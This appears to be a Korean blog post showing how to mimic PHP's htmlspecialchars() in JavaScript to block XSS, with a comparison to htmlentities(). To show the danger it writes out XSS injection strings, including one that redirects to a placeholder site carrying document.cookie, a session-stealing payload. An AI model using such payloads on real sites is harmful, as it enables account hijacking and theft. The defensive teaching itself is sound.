Javascript에서 PHP의 htmlspecialchars() 따라하기

2 13일 전
(수정 5일 전)

htmlspecialchars( str )

HTML 태그 등에서 HTML괄호(<>) 또는 따옴표(" ') 등 명령어를 열고 닫는 문자와 충돌하여 나타나는 에러,

또는 그것을 역이용한 XSS 공격을 방지하기 위한 기능이다.

방어가 되지 않는 상태에서 다음 문자열을 삽입하면:

"> <script>alert('xss')</script> <"

<input type="text" name="id" value=" "> <script>alert('xss')</script> <" ">

이렇게, 삽입 스크립트가 실행되어 버린다. XSS(크로스 사이트 스크립트) 공격은 SQL 삽입 공격과 원리가 비슷한 공격이다.

여기서 alert('xss')를 빼고

"> <script>location.href="site";</script> <"

사이트 납치

"> <script>location.href="site?data="+encodeURIComponent(document.cookie);</script> <"

사이트 납치 + 쿠키 하이재킹. 로그인 세션을 도둑질하는 스크립트이다.

이런 공격으로 쿠키 정보 등을 절도할 수 있다.

만약 방어 스크립트가 들어가면... 이렇게 된다.

<input type="text" name="id" value=" > <script>alert('xss')</script> < ">

스크립트가 실행되지 않게 방어해주며, 폼으로 제출하거나 화면에 띄우면 그대로 정상적인 결과물이 출력된다.

"> <script>location.href="site";</script> <"

function htmlspecialchars(str) {
	// null, undefined, false, 0 방지
    if (!str || typeof str !== "string") return ""; 

	// XSS 방어
    return str.replace(/&/g, "&amp;")
              .replace(/</g, "&lt;")
              .replace(/>/g, "&gt;")
              .replace(/"/g, "&quot;")
              .replace(/'/g, "&#039;");
}

PHP htmlentities()와 htmlspecialchars()란?

echo htmlentities('<Il était une fois un être>.');
// Output: &lt;Il &eacute;tait une fois un &ecirc;tre&gt;.
//                ^^^^^^^^                 ^^^^^^^

echo htmlspecialchars('<Il était une fois un être>.');
// Output: &lt;Il était une fois un être&gt;.
//                ^                 ^

htmlentities()는 원래 라틴 이외의 인코딩(EUC-KR 등)에서 라틴 코드페이지 특수문자가 깨지지 않도록 했던 함수인데,

요즘은 내수용 사이트에서도 EUC-KR은 레거시 취급 받고, 거의 99%의 웹페이지가 UTF-8을 쓰므로, htmlspecialchars() 를 더 권장한다.

' " & < > 가 나 다 😃 ¡ ¢ £ ¤ ¥ ¦ § À Á ⇐ ⇑ ⇒ ⇓ ⇔

htmlspecialchars() 변환:
&#039; &quot; &amp; &lt; &gt; 가 나 다 😃 ¡ ¢ £ ¤ ¥ ¦ § À Á ⇐ ⇑ ⇒ ⇓ ⇔
// HTML 문법에 영향을 줄 수 있는 문자만 변환 

htmlentities() 변환:
&#039; &quot; &amp; &lt; &gt; 가 나 다 😃 &iexcl; &cent; &pound; &curren; &yen; &brvbar; &sect; &Agrave; &Aacute; &lArr; &uArr; &rArr; &dArr; &hArr;
// ISO-8859-1 라틴 문자 코드페이지 내의 기호 붙은 알파벳 및 특수문자 변환

// 출처: https://stackoverflow.com/questions/46483/htmlentities-vs-htmlspecialchars